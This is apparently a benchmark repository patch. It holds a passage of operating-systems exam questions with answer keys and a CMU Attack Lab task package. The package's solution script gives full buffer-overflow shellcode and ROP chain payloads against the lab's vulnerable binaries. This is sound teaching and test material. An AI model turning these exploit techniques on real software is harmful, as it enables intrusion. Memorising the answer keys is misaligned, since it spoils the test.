skipping, tricking, and faking out\n\nB) batching, scheduling, and avoiding writes altogether\n\nC) batching, scheduling, and smoothing writes out\n\nD) batching, avoiding writes, and spacing writes out over time\n\nE) anticipating, logging, and batch amortizing\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "buffering", "performance"]} +{"instance_id": 48, "exam_id": "cs537_fall_2021_final", "problem_id": "39", "points": 1, "problem": "VSFS Simulator. Initial State: inodes [d a:0 r:2]... Final State: inodes [d a:0 r:2][f a:-1 r:1]... data [(.,0) (..,0) (m,1)]... What operation took place?\nA) creat(\"/m\")\n\nB) mkdir(\"/m\")\n\nC) unlink(\"/m\")\n\nD) append a block to root directory\n\nE) append a block to root inode\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "vsfs", "directories"]} +{"instance_id": 49, "exam_id": "cs537_fall_2021_final", "problem_id": "40", "points": 1, "problem": "Continuing from Q39... Final State: inodes [d a:0 r:2][f a:-1 r:2]... data [(.,0) (..,0) (m,1) (o,1)]... What operation was it?\nA) mkdir(\"/o\")\n\nB) unlink(\"/m\")\n\nC) read(\"/m\")\n\nD) link(\"/m\", \"/o\")\n\nE) creat(\"/o\")\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "vsfs", "directories"]} +{"instance_id": 50, "exam_id": "cs537_fall_2021_final", "problem_id": "41", "points": 1, "problem": "Crash scenario: just the data block is written to disk. In this case, ______\nA) the data is on disk, but it can never be read\n\nB) the data is on disk, and can be read after recovery, but it is garbage\n\nC) the data is on disk, but the inode bitmap says it is free\n\nD) the data is on disk, and it can be easily read after recovery\n\nE) the data never reaches the disk\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "crash-consistency", "fsck"]} +{"instance_id": 51, "exam_id": "cs537_fall_2021_final", "problem_id": "42", "points": 1, "problem": "Crash scenario: just the updated inode is written to disk. In this case, ______\nA) the data is on disk, but it can never be read\n\nB) the data may seemingly be read after recovery, but it is garbage\n\nC) the data bitmap and inode bitmap don\u2019t agree\n\nD) the data is on disk, and can be easily read after recovery\n\nE) the inode cannot be read\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "crash-consistency", "fsck"]} +{"instance_id": 52, "exam_id": "cs537_fall_2021_final", "problem_id": "43", "points": 1, "problem": "Just the updated inode is written to disk. Sometimes we refer to this as a ______\nA) file system inconsistency (the inode and data bitmap disagree)\n\nB) file system inconsistency (the data block and inode disagree)\n\nC) file system inconsistency (the directory and inode disagree)\n\nD) file system inconsistency (the data bitmap and inode bitmap disagree)\n\nE) file system confusion\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "crash-consistency", "fsck"]} +{"instance_id": 53, "exam_id": "cs537_fall_2021_final", "problem_id": "44", "points": 1, "problem": "What we\u2019d like to do ideally is move the file system from one consistent state to another ______\nA) computationally\n\nB) passionately\n\nC) logically\n\nD) atomically\n\nE) sequentially\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "crash-consistency", "fsck"]} +{"instance_id": 54, "exam_id": "cs537_fall_2021_final", "problem_id": "45", "points": 1, "problem": "fsck has a big and perhaps more fundamental problem: it is too ______\nA) slow\n\nB) complicated\n\nC) redundant\n\nD) incoherent\n\nE) fast\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "crash-consistency", "fsck"]} +{"instance_id": 55, "exam_id": "cs537_fall_2021_final", "problem_id": "46", "points": 1, "problem": "The basic journaling protocol includes the following three phases: journal write, journal commit, and ______\nA) transaction\n\nB) full write\n\nC) journal delete\n\nD) checkpoint\n\nE) phase out\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "journaling", "crash-consistency"]} +{"instance_id": 56, "exam_id": "cs537_fall_2021_final", "problem_id": "47", "points": 1, "problem": "A simpler (and more common) form of journaling is sometimes called ordered journaling... except that ______ is/are not written to the journal.\nA) inodes\n\nB) user data\n\nC) directory data\n\nD) bitmaps\n\nE) information\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "journaling", "crash-consistency"]} +{"instance_id": 57, "exam_id": "cs537_fall_2021_final", "problem_id": "48", "points": 1, "problem": "In ordered (or metadata) journaling, data must be written to disk before _______ in order to ensure that a committed inode does not point to garbage data.\nA) the checkpoint\n\nB) freeing space in the journal\n\nC) the transaction commit block\n\nD) anything else\n\nE) sunrise\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "journaling", "crash-consistency"]} +{"instance_id": 58, "exam_id": "cs537_fall_2021_final", "problem_id": "49", "points": 1, "problem": "If a crash happens during replay, _______\nA) all data is lost\n\nB) the system may not be able to reboot\n\nC) the recovery starts over after reboot, but might lose data committed to the journal\n\nD) the recovery starts over after reboot, and should work correctly\n\nE) you are out of luck.\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "journaling", "crash-consistency"]} +{"instance_id": 59, "exam_id": "cs537_fall_2021_final", "problem_id": "50", "points": 1, "problem": "Data journaling reduces performance by (roughly) a factor of _______ during sequential writes as compared to ordered journaling.\nA) 1.5\n\nB) 2\n\nC) 3\n\nD) 4\n\nE) 5\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "journaling", "performance"]} +{"instance_id": 60, "exam_id": "cs537_fall_2021_final", "problem_id": "51", "points": 1, "problem": "The largest benefit of using a distributed client/server file system such as NFS is ______\nA) performance\n\nB) sharing\n\nC) reliability\n\nD) code coverage\n\nE) ease of testing\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 61, "exam_id": "cs537_fall_2021_final", "problem_id": "52", "points": 1, "problem": "Servers (seem to) crash (or become unavailable) primarily due to power outages, bugs, and _______\nA) application demands\n\nB) clients with little memory\n\nC) slow disks\n\nD) bears\n\nE) network partitions\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 62, "exam_id": "cs537_fall_2021_final", "problem_id": "53", "points": 1, "problem": "NFS protocol requests, which contain all relevant information needed to complete the request, are sometimes called _______\nA) stateless\n\nB) harmless\n\nC) connectionless\n\nD) tasteless\n\nE) quirky\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 63, "exam_id": "cs537_fall_2021_final", "problem_id": "54", "points": 1, "problem": "The NFS file handle consists of three parts: volume identifier, inode number, and ______\nA) file descriptor\n\nB) security token\n\nC) smoke screen indicator\n\nD) request identifier\n\nE) generation number\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 64, "exam_id": "cs537_fall_2021_final", "problem_id": "55", "points": 1, "problem": "During a file open, many ________ requests will likely be made to the server.\nA) NFSPROC_RMDIR\n\nB) NFSPROC_MKDIR\n\nC) NFSPROC_LOOKUP\n\nD) NFSPROC_REMOVE\n\nE) NFSPROC_FLUSH\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 65, "exam_id": "cs537_fall_2021_final", "problem_id": "56", "points": 1, "problem": "An operation is called idempotent when the effect of performing the operation ______ is equivalent to the effect of performing the operation a single time.\nA) never\n\nB) once\n\nC) silently\n\nD) many times\n\nE) in reverse\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 66, "exam_id": "cs537_fall_2021_final", "problem_id": "57", "points": 1, "problem": "NFS clients handle network packet losses and server crashes uniformly by using a _______ approach.\nA) caching\n\nB) oddly efficient\n\nC) redundancy-based\n\nD) timeout/retry\n\nE) handshake/fistbump\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 67, "exam_id": "cs537_fall_2021_final", "problem_id": "58", "points": 1, "problem": "NFS clients use caches to improve performance... Two primary subproblems of cache consistency are _______.\nA) latency/staleness\n\nB) visibility/correctness\n\nC) choiceness/visibility\n\nD) correctness/staleness\n\nE) staleness/visibility\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 68, "exam_id": "cs537_fall_2021_final", "problem_id": "59", "points": 1, "problem": "NFS clients buffer writes... \u2018flush on close\u2019 behavior addresses the _______ problem.\nA) latency\n\nB) staleness\n\nC) correctness\n\nD) visibility\n\nE) choiceness\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} +{"instance_id": 69, "exam_id": "cs537_fall_2021_final", "problem_id": "60", "points": 1, "problem": "NFS servers also have a cache, but must flush writes to disk immediately before returning success to clients. The reason for this is ________.\nA) performance; this approach is usually faster\n\nB) correctness; this ensures no writes are lost due to an untimely server crash\n\nC) choiceness; having more choice is critical in the modern world\n\nD) caching in both clients and servers adds too much complexity to the protocol\n\nE) lost to history\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "nfs", "distributed-systems", "network-file-systems"]} diff --git a/benchmarks/courseexam_bench/data/reference_materials/raft_basics.md b/benchmarks/courseexam_bench/data/reference_materials/raft_basics.md new file mode 100644 index 00000000..9f50d805 --- /dev/null +++ b/benchmarks/courseexam_bench/data/reference_materials/raft_basics.md @@ -0,0 +1,7 @@ +# Raft Consensus Algorithm - Quick Reference + +This reference sheet provides essential information about the Raft consensus algorithm for distributed systems. + +## Overview + +Raft is a consensus algorithm designed as an alternative to the Paxos family of algorithms. It was meant to be more understandable than Paxos by means of separation of logic, but it is also formally proven safe and offers some additional features. diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/compose.yaml b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/compose.yaml new file mode 100644 index 00000000..c1c0f255 --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/compose.yaml @@ -0,0 +1,6 @@ +services: + default: + network_mode: host + image: buildpack-deps:jammy + command: sleep infinity + working_dir: /workspace diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/config.json b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/config.json new file mode 100644 index 00000000..8f87e778 --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/config.json @@ -0,0 +1,20 @@ +{ + "instance_id": "cmu_15-213__attack_lab", + "course_id": "cmu_15-213", + "timeout_minutes": 60, + "tags": [ + "binary-exploitation", + "buffer-overflow", + "return-oriented-programming", + "x86-64", + "gdb", + "systems-programming" + ], + "artifacts": [ + "phase1.txt", + "phase2.txt", + "phase3.txt", + "phase4.txt", + "phase5.txt" + ] +} diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/evaluate.sh b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/evaluate.sh new file mode 100755 index 00000000..d68c8a9d --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/evaluate.sh @@ -0,0 +1,79 @@ +#!/bin/bash +set -euo pipefail + +echo "=== Evaluating Attack Lab ===" +cd /workspace + +echo "Verifying protected files" +if [ -f /tmp/checksums/protected.sha256 ]; then + sha256sum -c /tmp/checksums/protected.sha256 +else + echo "WARN: No protected checksums found; continuing" +fi + +echo "Checking required binaries" +for bin in ctarget rtarget hex2raw; do + if [ ! -x "$bin" ]; then + echo "FAIL: $bin is missing or not executable" + exit 1 + fi +done + +echo "Checking solution files" +solutions=(phase1.txt phase2.txt phase3.txt phase4.txt phase5.txt) +for sol in "${solutions[@]}"; do + if [ ! -f "$sol" ]; then + echo "FAIL: Missing solution file $sol" + exit 1 + fi + if [ ! -s "$sol" ]; then + echo "FAIL: Solution file $sol is empty" + exit 1 + fi +done + +run_phase() { + local phase_id="$1" + local target_bin="$2" + local hex_file="$3" + local expect_pattern="$4" + + echo "--- Phase ${phase_id} (${target_bin}) ---" + local raw_file="/tmp/raw_phase_${phase_id}.bin" + + if ! ./hex2raw < "$hex_file" > "$raw_file"; then + echo "FAIL: hex2raw failed for $hex_file" + exit 1 + fi + + local output + local status=0 + output=$(timeout 30 "./${target_bin}" -q -i "$raw_file" 2>&1) || status=$? + echo "$output" + + if [ "$status" -ne 0 ]; then + echo "FAIL: ${target_bin} exited with status $status for phase ${phase_id}" + exit 1 + fi + + if echo "$output" | grep -qi "Misfire"; then + echo "FAIL: ${target_bin} reported a misfire for phase ${phase_id}" + exit 1 + fi + + if ! echo "$output" | grep -q "$expect_pattern"; then + echo "FAIL: Expected success pattern '$expect_pattern' not found for phase ${phase_id}" + exit 1 + fi + + echo "Phase ${phase_id} passed" +} + +run_phase 1 ctarget phase1.txt "Touch1!: You called touch1()" +run_phase 2 ctarget phase2.txt "Touch2!: You called touch2(0x" +run_phase 3 ctarget phase3.txt "Touch3!: You called touch3(\"" +run_phase 4 rtarget phase4.txt "Touch2!: You called touch2(0x" +run_phase 5 rtarget phase5.txt "Touch3!: You called touch3(\"" + +echo "PASS: All attack lab phases completed" +exit 0 diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/preprocess.sh b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/preprocess.sh new file mode 100755 index 00000000..1bae024a --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/preprocess.sh @@ -0,0 +1,44 @@ +#!/bin/bash +set -euo pipefail + +echo "=== Setting up CMU 15-213 Attack Lab ===" +cd /workspace + +echo "Installing 32-bit support and GDB" +apt-get update +apt-get install -y gcc-multilib gdb + +echo "Making binaries executable" +chmod +x ctarget rtarget hex2raw + +echo "Disabling ASLR for deterministic addresses (best-effort)" +if sysctl -w kernel.randomize_va_space=0; then + echo "ASLR disabled" +elif echo 0 > /proc/sys/kernel/randomize_va_space 2>/dev/null; then + echo "ASLR disabled via /proc" +else + echo "WARN: Could not disable ASLR (permissions?). Exploits may be unstable." +fi + +echo "Verifying required files are present" +required_files="ctarget rtarget hex2raw cookie.txt farm.c README.txt" +for file in $required_files; do + if [ ! -f "$file" ]; then + echo "ERROR: Missing required file $file" + exit 1 + fi + echo " ✓ $file" +done + +echo "Creating checksums for protected files" +mkdir -p /tmp/checksums +CHECKSUM_FILE=/tmp/checksums/protected.sha256 +: > "$CHECKSUM_FILE" +protected_files="$required_files" +for file in $protected_files; do + sha256sum "$file" >> "$CHECKSUM_FILE" + echo " Protected: $file" +done + +echo "Setup complete" +exit 0 diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/sol.sh b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/sol.sh new file mode 100755 index 00000000..c524e053 --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/sol.sh @@ -0,0 +1,142 @@ +#!/bin/bash +# Solution script for CMU 15-213 Attack Lab +# This script creates the five exploit payload files (phase1.txt – phase5.txt) +# that drive ctarget / rtarget to the target touch functions. +# +# Discovered parameters (via objdump -d / gdb): +# Cookie : 0x59b997fa +# Buffer size : 40 bytes (sub $0x28,%rsp in getbuf) +# Buffer address : 0x5561dc78 (rsp after alloc, ASLR off for ctarget) +# touch1 : 0x4017c0 +# touch2 : 0x4017ec +# touch3 : 0x4018fa +# +# ROP gadgets (from rtarget gadget farm): +# 0x4019ab : pop %rax; nop; ret (addval_219 + 4) +# 0x4019a2 : movq %rax, %rdi; ret (addval_273 + 2) +# 0x401a06 : movq %rsp, %rax; ret (addval_190 + 3) +# 0x4019dd : movl %eax, %edx; nop; ret (getval_481 + 2) +# 0x401a34 : movl %edx, %ecx; cmpb %cl,%cl; ret (getval_159 + 1) +# 0x401a13 : movl %ecx, %esi; nop; nop; ret (addval_436 + 2) +# 0x4019d6 : lea (%rdi,%rsi,1), %rax; ret (add_xy) + +set -euo pipefail +cd "$(dirname "$0")/starter" 2>/dev/null || cd /workspace + +############################################################################### +# Phase 1 – Code-injection: call touch1 +# 40 bytes padding + overwrite return address with &touch1 +############################################################################### +cat > phase1.txt << 'EOF' +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +c0 17 40 00 00 00 00 00 +EOF + +############################################################################### +# Phase 2 – Code-injection: call touch2(cookie) +# Inject shellcode that sets %rdi = cookie, then returns to touch2. +# Shellcode (13 bytes): +# 48 c7 c7 fa 97 b9 59 movq $0x59b997fa, %rdi +# 68 ec 17 40 00 pushq $0x4017ec +# c3 ret +# Pad to 40 bytes, then return to buffer start (0x5561dc78). +############################################################################### +cat > phase2.txt << 'EOF' +48 c7 c7 fa 97 b9 59 68 +ec 17 40 00 c3 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +78 dc 61 55 00 00 00 00 +EOF + +############################################################################### +# Phase 3 – Code-injection: call touch3(&cookie_string) +# Inject shellcode that sets %rdi = pointer to the ASCII cookie string, +# then returns to touch3. The cookie string is placed on the stack +# above the saved return address so it survives the touch3 / hexmatch +# stack frames. +# +# Buffer address : 0x5561dc78 +# Return address : 0x5561dca0 (buf + 0x28) +# Cookie string : 0x5561dca8 (ret addr + 8) +# +# Shellcode (13 bytes): +# 48 c7 c7 a8 dc 61 55 movq $0x5561dca8, %rdi +# 68 fa 18 40 00 pushq $0x4018fa +# c3 ret +############################################################################### +cat > phase3.txt << 'EOF' +48 c7 c7 a8 dc 61 55 68 +fa 18 40 00 c3 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +78 dc 61 55 00 00 00 00 +35 39 62 39 39 37 66 61 +00 +EOF + +############################################################################### +# Phase 4 – ROP: call touch2(cookie) +# Gadget chain: +# pop %rax ; 0x4019ab – load cookie into rax +# ; 0x59b997fa +# mov %rax, %rdi ; 0x4019a2 – copy cookie to first arg +# ; 0x4017ec +############################################################################### +cat > phase4.txt << 'EOF' +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +ab 19 40 00 00 00 00 00 +fa 97 b9 59 00 00 00 00 +a2 19 40 00 00 00 00 00 +ec 17 40 00 00 00 00 00 +EOF + +############################################################################### +# Phase 5 – ROP: call touch3(&cookie_string) +# We need %rdi = pointer to ASCII cookie on the stack. ASLR is on in +# rtarget, so we compute the address at runtime using %rsp. +# +# Gadget chain (after 40-byte padding): +# mov %rsp, %rax ; 0x401a06 – capture rsp (points to next slot) +# mov %rax, %rdi ; 0x4019a2 – rdi = captured rsp +# pop %rax ; 0x4019ab – rax = offset (0x48) +# <0x48> +# mov %eax, %edx ; 0x4019dd +# mov %edx, %ecx ; 0x401a34 +# mov %ecx, %esi ; 0x401a13 +# lea (%rdi,%rsi),%rax ; 0x4019d6 – rax = rdi + offset +# mov %rax, %rdi ; 0x4019a2 – rdi = &cookie_string +# ; 0x4018fa +# "59b997fa\0" ; ASCII cookie at offset 0x48 from captured rsp +############################################################################### +cat > phase5.txt << 'EOF' +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +06 1a 40 00 00 00 00 00 +a2 19 40 00 00 00 00 00 +ab 19 40 00 00 00 00 00 +48 00 00 00 00 00 00 00 +dd 19 40 00 00 00 00 00 +34 1a 40 00 00 00 00 00 +13 1a 40 00 00 00 00 00 +d6 19 40 00 00 00 00 00 +a2 19 40 00 00 00 00 00 +fa 18 40 00 00 00 00 00 +35 39 62 39 39 37 66 61 +00 +EOF + +echo "All phase files created." diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/README.txt b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/README.txt new file mode 100644 index 00000000..d830831a --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/README.txt @@ -0,0 +1,100 @@ +This file contains materials for one instance of the attacklab. + +Files: + + ctarget + +Linux binary with code-injection vulnerability. To be used for phases +1-3 of the assignment. + + rtarget + +Linux binary with return-oriented programming vulnerability. To be +used for phases 4-5 of the assignment. + + cookie.txt + +Text file containing 4-byte signature required for this lab instance. + + farm.c + +Source code for gadget farm present in this instance of rtarget. You +can compile (use flag -Og) and disassemble it to look for gadgets. + + hex2raw + +Utility program to generate byte sequences. See documentation in lab +handout. + +################################################## +# CS:APP Attack Lab +# Directions to Instructors +# +# Copyright (c) 2016, R. Bryant and D. O'Hallaron +# +################################################## + +This directory contains the files that you will use to build and run +the CS:APP Attack Lab. + +The purpose of the Attack Lab is to help students develop a detailed +understanding of the stack discipline on x86-64 processors. It +involves applying a total of five buffer overflow attacks on some +executable files. There are three code injection attacks and two +return-oriented programming attacks. + +The lab must be done on an x86-64 Linux system. It requires a version +of gcc that supports the -Og optimization flag (e.g., gcc +4.8.1). We've tested it at CMU on Ubuntu 12.4 systems. + +*********** +1. Overview +*********** + +---- +1.1. Targets +---- +Students are given binaries called ctarget and rtarget that have a +buffer overflow bug. They are asked to alter the behavior of their +targets via five increasingly difficult exploits. The three attacks on +ctarget use code injection. The two attacks on rtarget use +return-oriented programming. + +---- +1.2. Solving Targets +---- +Each exploit involves reading a sequence of bytes from standard input +into a buffer stored on the stack. Students encode each exploit string +as a sequence of hex digit pairs separated by whitespace, where each +hex digit pair represents a byte in the exploit string. The program +"hex2raw" converts these strings into a sequence of raw bytes, which +can then be fed to the target: + + unix> cat exploit.txt | ./hex2raw | ./ctarget + +Each student gets their own custom-generated copy of ctarget and +rtarget. Thus, students must develop the solutions on their own and +cannot use the solutions from other students. + +The lab writeup has extensive details on each phase and solution +techniques. We suggest that you read the writeup carefully before +continuing with this README file. + + +************ +3. Solutions +************ + +TargetID: Each target in a given instance of the lab has a unique +non-negative integer called the "targetID." + +The five solutions for target n are avalable to you in the +targets/target directory, in the following files: + +Phase 1: ctarget.l1, +Phase 2: ctarget.l2, +Phase 3: ctarget.l3, +Phase 4: rtarget.l2, +Phase 5: rtarget.l3, + +where "l" stands for level. \ No newline at end of file diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/cookie.txt b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/cookie.txt new file mode 100644 index 00000000..3f780a4c --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/cookie.txt @@ -0,0 +1 @@ +0x59b997fa diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/ctarget b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/ctarget new file mode 100755 index 00000000..b5cb7285 Binary files /dev/null and b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/ctarget differ diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/farm.c b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/farm.c new file mode 100644 index 00000000..25293c92 --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/farm.c @@ -0,0 +1,223 @@ +/* This function marks the start of the farm */ +int start_farm() +{ + return 1; +} + +unsigned getval_142() +{ + return 2425387259U; +} + +unsigned addval_273(unsigned x) +{ + return x + 3284633928U; +} + +unsigned addval_219(unsigned x) +{ + return x + 2421715793U; +} + +void setval_237(unsigned *p) +{ + *p = 3351742792U; +} + +void setval_424(unsigned *p) +{ + *p = 2455290452U; +} + +void setval_470(unsigned *p) +{ + *p = 3347925091U; +} + +void setval_426(unsigned *p) +{ + *p = 2428995912U; +} + +unsigned getval_280() +{ + return 3281016873U; +} + +/* This function marks the middle of the farm */ +int mid_farm() +{ + return 1; +} + +/* Add two arguments */ +long add_xy(long x, long y) +{ + return x+y; +} + +unsigned getval_481() +{ + return 2428668252U; +} + +void setval_296(unsigned *p) +{ + *p = 2425409945U; +} + +unsigned addval_113(unsigned x) +{ + return x + 3380137609U; +} + +unsigned addval_490(unsigned x) +{ + return x + 3676361101U; +} + +unsigned getval_226() +{ + return 3225997705U; +} + +void setval_384(unsigned *p) +{ + *p = 3229929857U; +} + +unsigned addval_190(unsigned x) +{ + return x + 3767093313U; +} + +void setval_276(unsigned *p) +{ + *p = 3372794504U; +} + +unsigned addval_436(unsigned x) +{ + return x + 2425409161U; +} + +unsigned getval_345() +{ + return 3252717896U; +} + +unsigned addval_479(unsigned x) +{ + return x + 3372270217U; +} + +unsigned addval_187(unsigned x) +{ + return x + 3224948361U; +} + +void setval_248(unsigned *p) +{ + *p = 3674787457U; +} + +unsigned getval_159() +{ + return 3375944073U; +} + +unsigned addval_110(unsigned x) +{ + return x + 3286272456U; +} + +unsigned addval_487(unsigned x) +{ + return x + 3229926025U; +} + +unsigned addval_201(unsigned x) +{ + return x + 3353381192U; +} + +unsigned getval_272() +{ + return 3523793305U; +} + +unsigned getval_155() +{ + return 3385115273U; +} + +void setval_299(unsigned *p) +{ + *p = 2447411528U; +} + +unsigned addval_404(unsigned x) +{ + return x + 3281178249U; +} + +unsigned getval_311() +{ + return 3674788233U; +} + +void setval_167(unsigned *p) +{ + *p = 3281113481U; +} + +void setval_328(unsigned *p) +{ + *p = 3526935169U; +} + +void setval_450(unsigned *p) +{ + *p = 3372797449U; +} + +unsigned addval_358(unsigned x) +{ + return x + 2430634248U; +} + +unsigned addval_124(unsigned x) +{ + return x + 1019724425U; +} + +unsigned getval_169() +{ + return 3223375496U; +} + +void setval_181(unsigned *p) +{ + *p = 3269495112U; +} + +unsigned addval_184(unsigned x) +{ + return x + 3529556617U; +} + +unsigned getval_472() +{ + return 3525365389U; +} + +void setval_350(unsigned *p) +{ + *p = 2430634312U; +} + +/* This function marks the end of the farm */ +int end_farm() +{ + return 1; +} diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/hex2raw b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/hex2raw new file mode 100755 index 00000000..cef0950c Binary files /dev/null and b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/hex2raw differ diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/rtarget b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/rtarget new file mode 100755 index 00000000..806500ae Binary files /dev/null and b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/starter/rtarget differ diff --git a/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/task.md b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/task.md new file mode 100644 index 00000000..842498a6 --- /dev/null +++ b/benchmarks/courselab_bench/data/cmu_15-213/task_attack_lab/task.md @@ -0,0 +1,56 @@ +*********************** +The CS:APP Attack Lab +Directions to Students +*********************** + +Goal: craft five exploit payloads that drive the provided vulnerable +binaries to the target functions without triggering misfires. + +What you must produce +--------------------- +Create the following hex-encoded payload files in the workspace root: + +- phase1.txt: exploit for ctarget that calls touch1 +- phase2.txt: exploit for ctarget that calls touch2 with the correct cookie +- phase3.txt: exploit for ctarget that calls touch3 with the correct cookie string +- phase4.txt: exploit for rtarget that calls touch2 with the correct cookie +- phase5.txt: exploit for rtarget that calls touch3 with the correct cookie string + +Each file should contain whitespace-separated hex byte pairs (the format +expected by hex2raw). Keep the binaries (ctarget, rtarget, hex2raw, +cookie.txt, farm.c, README.txt) unmodified; they are checksumed. + +Resources provided +------------------ +- ctarget: buffer-overflow target for phases 1-3 (code injection) +- rtarget: ROP target for phases 4-5 +- cookie.txt: 4-byte signature required by touch2/touch3 +- farm.c: gadget farm for rtarget (compile with -Og to study gadgets) +- hex2raw: converts hex text to raw bytes +- README.txt: original lab handout excerpt + +How evaluation works +-------------------- +For each phase, the grader runs: + +1) ./hex2raw < phaseN.txt > /tmp/rawN +2) ./ctarget -q -i /tmp/rawN # phases 1-3 + ./rtarget -q -i /tmp/rawN # phases 4-5 + +A phase passes only if the program exits 0, prints the corresponding +"TouchX!" success message, and does not print "Misfire". + +Tips +---- +- Run with -q to suppress server submission: ./ctarget -q -i raw +- Use objdump -d and gdb to understand stack layout and gadgets. +- Phases 2/4 require the cookie as a 32-bit value; phases 3/5 require it + as an ASCII string 